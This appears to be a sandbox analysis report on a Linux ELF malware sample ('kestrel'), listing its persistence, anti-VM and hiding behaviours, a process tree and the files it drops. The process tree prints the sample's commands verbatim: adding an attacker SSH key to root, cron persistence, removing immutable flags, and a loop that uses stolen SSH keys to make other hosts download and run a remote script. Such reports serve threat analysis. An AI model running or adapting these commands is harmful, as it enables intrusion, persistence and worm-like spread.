Analysis

  • max time kernel
    147s
  • max time network
    145s
  • platform
    debian-12_armhf
  • resource
    debian12-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian12-armhf-20260513-enkernel:6.1.0-17-armmp-lpaelocale:en-usos:debian-12-armhfsystem
  • submitted
    02/12/2026, 18:12

General

  • Target
    ecfabf073600261fa89f3a58b2d8827d2b6b9128e4cdab79262611e7f34f2c35.elf
  • Size 314KB
  • Sample261202-ws9nraht2n
  • SHA256 ecfabf073600261fa89f3a58b2d8827d2b6b9128e4cdab79262611e7f34f2c35
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies the dynamic linker configuration file 2 TTPs 1 IoCs

    Malware can modify the configuration file of the dynamic linker to preload malicous libraries with every executed process.

  • Adds new SSH keys 1 TTPs 1 IoCs

    Linux special file to hold SSH keys. The threat actor may add new keys for further remote access.

  • Executes dropped EXE 1 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Checks hardware identifiers (DMI) 1 TTPs 2 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Creates/modifies Cron job 1 TTPs 4 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Creates/modifies environment variables 1 TTPs 2 IoCs

    Creating/modifying environment variables is a common persistence mechanism.

  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

  • Modifies rc script 2 TTPs 1 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

  • Modifies systemd 2 TTPs 2 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

  • Reads MAC address of network interface 2 TTPs 2 IoCs

    Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.

  • Reads hardware information 1 TTPs 2 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Removes the immutable protection flag from a file 1 TTPs 2 IoCs

    Uses chattr to remove the immutable flag from a file, allowing previously write-protected files to be modified or deleted.

  • Modifies Bash startup script 2 TTPs 2 IoCs
  • Changes its process name 3 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Command and Scripting Interpreter: Unix Shell 1 TTPs 11 IoCs

    Execute scripts via Unix Shell.

  • Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 11 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to shm directory 2 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ecfabf073600261fa89f3a58b2d8827d2b6b9128e4cdab79262611e7f34f2c35.elf
    /tmp/ecfabf073600261fa89f3a58b2d8827d2b6b9128e4cdab79262611e7f34f2c35.elf
    1⤵
    • Modifies the dynamic linker configuration file
    • Executes dropped EXE
    • Modifies Watchdog functionality
    • Checks hardware identifiers (DMI)
    • Creates/modifies Cron job
    • Creates/modifies environment variables
    • Modifies init.d
    • Modifies rc script
    • Modifies systemd
    • Reads MAC address of network interface
    • Reads hardware information
    • Modifies Bash startup script
    • Changes its process name
    • Checks CPU configuration
    • Reads system network configuration
    • Enumerates kernel/hardware configuration
    • Reads runtime system information
    • Writes file to shm directory
    • Writes file to tmp directory
    PID:790
    • /bin/sh
      /bin/sh -c "sysctl -w net.core.wmem_max=268435456 net.core.wmem_default=2097152 >/dev/null 2>&1"
      2⤵
      • Command and Scripting Interpreter: Unix Shell
      PID:809
      • /usr/sbin/sysctl
        sysctl -w "net.core.wmem_max=268435456" "net.core.wmem_default=2097152"
        3⤵
          PID:810
      • /bin/sh
        /bin/sh -c "sysctl -w net.core.rmem_max=268435456 >/dev/null 2>&1"
        2⤵
        • Command and Scripting Interpreter: Unix Shell
        PID:811
        • /usr/sbin/sysctl
          sysctl -w "net.core.rmem_max=268435456"
          3⤵
            PID:812
        • /bin/sh
          /bin/sh -c "chattr -i /etc/cron.d/kestrel /etc/cron.d/milkd /etc/init.d/kestrel /etc/systemd/system/kestrel.service /etc/rc.local 2>/dev/null"
          2⤵
          • Command and Scripting Interpreter: Unix Shell
          PID:813
          • /usr/bin/chattr
            chattr -i /etc/cron.d/kestrel /etc/cron.d/milkd /etc/init.d/kestrel /etc/systemd/system/kestrel.service /etc/rc.local
            3⤵
            • Removes the immutable protection flag from a file
            PID:814
        • /bin/sh
          /bin/sh -c "(crontab -l 2>/dev/null | grep -v .kestrel; echo '@reboot /tmp/.kestrel vps >/dev/null 2>&1 &') | crontab - 2>/dev/null"
          2⤵
          • Command and Scripting Interpreter: Unix Shell
          PID:815
          • /usr/bin/crontab
            crontab -
            3⤵
            • Creates/modifies Cron job
            PID:817
          • /usr/bin/grep
            grep -v .kestrel
            3⤵
            • Reads runtime system information
            PID:819
          • /usr/bin/crontab
            crontab -l
            3⤵
              PID:818
          • /bin/sh
            /bin/sh -c "mkdir -p /root/.ssh 2>/dev/null; chmod 700 /root/.ssh 2>/dev/null; grep -q 'IFs/EDd76mDd3' /root/.ssh/authorized_keys 2>/dev/null || echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFs/EDd76mDd3JLxIWEY6LEblRCkY38GUU0aB7qK2m/l mac' >> /root/.ssh/authorized_keys 2>/dev/null; chmod 600 /root/.ssh/authorized_keys 2>/dev/null"
            2⤵
            • Adds new SSH keys
            • Command and Scripting Interpreter: Unix Shell
            PID:820
            • /usr/bin/mkdir
              mkdir -p /root/.ssh
              3⤵
              • Reads runtime system information
              PID:821
            • /usr/bin/chmod
              chmod 700 /root/.ssh
              3⤵
                PID:822
              • /usr/bin/grep
                grep -q IFs/EDd76mDd3 /root/.ssh/authorized_keys
                3⤵
                • Reads runtime system information
                PID:823
              • /usr/bin/chmod
                chmod 600 /root/.ssh/authorized_keys
                3⤵
                  PID:824
              • /bin/sh
                /bin/sh -c "for k in /root/.ssh/id_rsa /root/.ssh/id_ed25519 /root/.ssh/id_dsa /root/.ssh/id_ecdsa; do [ -f \"\$k\" ] || continue; for h in \$(grep -oE '^[^ ,]+' /root/.ssh/known_hosts 2>/dev/null | grep -v '^|' | head -25); do ssh -i \"\$k\" -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=6 -o BatchMode=yes root@\"\$h\" 'wget -q -T 15 http://elwqelwqele.duckdns.org/l.sh -O /tmp/.s 2>/dev/null && sh /tmp/.s ssh-spread' 2>/dev/null & done; done"
                2⤵
                • Removes the immutable protection flag from a file
                • Command and Scripting Interpreter: Unix Shell
                PID:826
              • /bin/sh
                /bin/sh -c "echo KESTREL_OK > /tmp/kran "
                2⤵
                • Command and Scripting Interpreter: Unix Shell
                • Writes file to tmp directory
                PID:836
              • /bin/sh
                /bin/sh -c "echo KESTREL_OK > /tmp/kran "
                2⤵
                • Command and Scripting Interpreter: Unix Shell
                • Writes file to tmp directory
                PID:844
              • /bin/sh
                /bin/sh -c "echo KESTREL_OK > /tmp/kran "
                2⤵
                • Command and Scripting Interpreter: Unix Shell
                • Writes file to tmp directory
                PID:845
              • /bin/sh
                /bin/sh -c "echo KESTREL_OK > /tmp/kran "
                2⤵
                • Command and Scripting Interpreter: Unix Shell
                • Writes file to tmp directory
                PID:846
              • /bin/sh
                /bin/sh -c "echo KESTREL_OK > /tmp/kran "
                2⤵
                • Command and Scripting Interpreter: Unix Shell
                • Writes file to tmp directory
                PID:847
            • /var/tmp/.kestrelw
              .kestrelw kestrel --g
              1⤵
              • Modifies Watchdog functionality
              • Changes its process name
              • Reads runtime system information
              • Writes file to tmp directory
              PID:800

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  kestrel

                  • Path /etc/cron.d/kestrel
                  • Size 31B
                  • SHA256 1571a9ca30455f8d3b7caea509a1f81ecc533bd298f6151a05a2777a1d7bd1dc
                  • MD5 SHA1 SHA512

                  milkd

                  • Path /etc/cron.d/milkd
                  • Size 40B
                  • SHA256 15f4eafa0a5dff8bc5abc2eda99acc1a9fc124094e2b8a22b961cfb55aaf9c8b
                  • MD5 SHA1 SHA512

                  kestrel

                  • Path /etc/init.d/kestrel
                  • Size 93B
                  • SHA256 f6c9a7c4f3cc8adb27ad26929d517e383f338d4d9eb5c7f742de7d6f9c7dcbf1
                  • MD5 SHA1 SHA512 TLSH

                  inittab

                  • Path /etc/inittab
                  • Size 28B
                  • SHA256 9ee710459c00ae38c846a638c136de388e86878ca1b9219410845f62b3d77d54
                  • MD5 SHA1 SHA512

                  mdev.conf

                  • Path /etc/mdev.conf
                  • Size 38B
                  • SHA256 42e19f680bda9bbcef40bde10b2f30d60acc4c645213d5d39f72029597306b28
                  • MD5 SHA1 SHA512

                  rc.local

                  • Path /etc/rc.local
                  • Size 50B
                  • SHA256 61501961def7d0714778a46c972c85671a2ae7b17cfdcd529a02266126d97a69
                  • MD5 SHA1 SHA512 TLSH

                  kestrel.service

                  • Path /etc/systemd/system/kestrel.service
                  • Size 152B
                  • SHA256 5ab0466ad81c468814e7ac2f3ac3a4590de2d2b0db1102df63972a4e809da4f5
                  • MD5 SHA1 SHA512 TLSH

                  milkd.service

                  • Path /etc/systemd/system/milkd.service
                  • Size 158B
                  • SHA256 86ff83d23ae9a0a92638932d76ed827b81d5b2f0b8d1cfbfe4cdd7d40581324a
                  • MD5 SHA1 SHA512 TLSH

                  99-kestrel.rules

                  • Path /etc/udev/rules.d/99-kestrel.rules
                  • Size 40B
                  • SHA256 8820d37b388a210db7df04aa89aeb9b94ccd1bcccbb7e4c40d1738f4c298ec85
                  • MD5 SHA1 SHA512

                  authorized_keys

                  • Path /root/.ssh/authorized_keys
                  • Size 85B
                  • SHA256 64f493fe7684dcee0ad3e3d5f07d4aafd1c6811341eff4dab9ad6f46b46f654f
                  • MD5 SHA1 SHA512 TLSH

                  .gk

                  • Path /tmp/.gk
                  • Size 17B
                  • SHA256 2b1ea76169b7ef2673f7b2ab65e2d4ff47f98cf7a5fe00b5808093b1ebb87b78
                  • MD5 SHA1 SHA512

                  .kestrel

                  • Path /tmp/.kestrel
                  • Size 314KB
                  • SHA256 db4b3d8412ca175af2711c32718977cce7e6a7bfdb0277d246c94372730d6918
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  .kestrel

                  • Path /tmp/.kestrel
                  • Size 314KB
                  • SHA256 ecfabf073600261fa89f3a58b2d8827d2b6b9128e4cdab79262611e7f34f2c35
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  .kestrel.tag

                  • Path /tmp/.kestrel.tag
                  • Size 8B
                  • SHA256 c21f79a26782f9c0109b3804c92fa2662bf3bb14a12a15c6057ef2ee57131b54
                  • MD5 SHA1 SHA512

                  .kestrelw.pid

                  • Path /tmp/.kestrelw.pid
                  • Size 4B
                  • SHA256 80a99ac8d8c70014a1ffce7d0454d1d9b6163a77561746d6f6afc0193669c523
                  • MD5 SHA1 SHA512

                  kran

                  • Path /tmp/kran
                  • Size 11B
                  • SHA256 8860553ea0cacad0585c84a5bdc7a0bf0d9456504de5b4f9e9c427552b7ea3b9
                  • MD5 SHA1 SHA512

                  libhide.so

                  • Path /usr/lib/libhide.so
                  • Size 2KB
                  • SHA256 ce845e2207f919cd500f9d3308aafe858ded12eda50ca07e9dbc5144da85c15b
                  • MD5 SHA1 SHA512 TLSH

                  tmp.X31cdc

                  • Path /var/spool/cron/crontabs/tmp.X31cdc
                  • Size 219B
                  • SHA256 724cb763df80d26bab7de88049fd2e8f32ef482e5fcca845d1fe49841a78d09b
                  • MD5 SHA1 SHA512 TLSH